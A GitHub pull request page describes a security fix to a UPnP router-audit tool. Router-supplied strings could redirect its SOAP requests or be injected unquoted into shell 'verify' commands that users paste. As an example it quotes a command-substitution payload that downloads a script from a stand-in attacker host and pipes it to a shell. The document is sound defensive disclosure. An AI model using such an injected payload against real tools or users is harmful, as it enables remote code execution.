Skip to content

fix(upnp): stop router-controlled strings reaching fetches and verify commands - #3

Merged
gclluch merged 1 commit into
mainfrom
fix/upnp-trust-boundary
Aug 1, 2026
Merged

fix(upnp): stop router-controlled strings reaching fetches and verify commands#3
gclluch merged 1 commit into
mainfrom
fix/upnp-trust-boundary

Conversation

@gclluch

@gclluch gclluch commented Aug 1, 2026

Copy link
Copy Markdown
Owner

The audit only follows an SSDP LOCATION whose host is a literal private address inside the subnet being scanned. That check turned out to be one hop deep, and the strings it let past were being printed into commands the tool tells you to run.

  • An absolute controlURL discarded the vetted URL. parse_service returns urljoin(base, controlURL), and an absolute value replaces the base outright, so the SOAP POST could go anywhere. Redirects were followed too - the same escape with an extra step.
  • NewInternalClient and the control URL reached a shell. Both were interpolated unquoted into Finding.verify, which the README explicitly tells the reader to paste. A router answering <NewInternalClient>$(curl evil.sh|sh)</NewInternalClient> produced exactly that inside a block presented as a verification step.

Fixed where the values enter rather than at the six places they are rendered: probe_gateway re-runs the existing is_safe_location against the control URL, parse_mapping requires an actual IP address, and a no-redirect opener backs both _http_get and soap_post. parse_service stays pure.

Three regression tests, plus a _fake_router contextmanager replacing the inline server setup now that three tests need it. README states the stronger claim it can now back.

@gclluch
gclluch merged commit bd8311e into main Aug 1, 2026
8 checks passed
@gclluch
gclluch deleted the fix/upnp-trust-boundary branch August 1, 2026 22:46
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant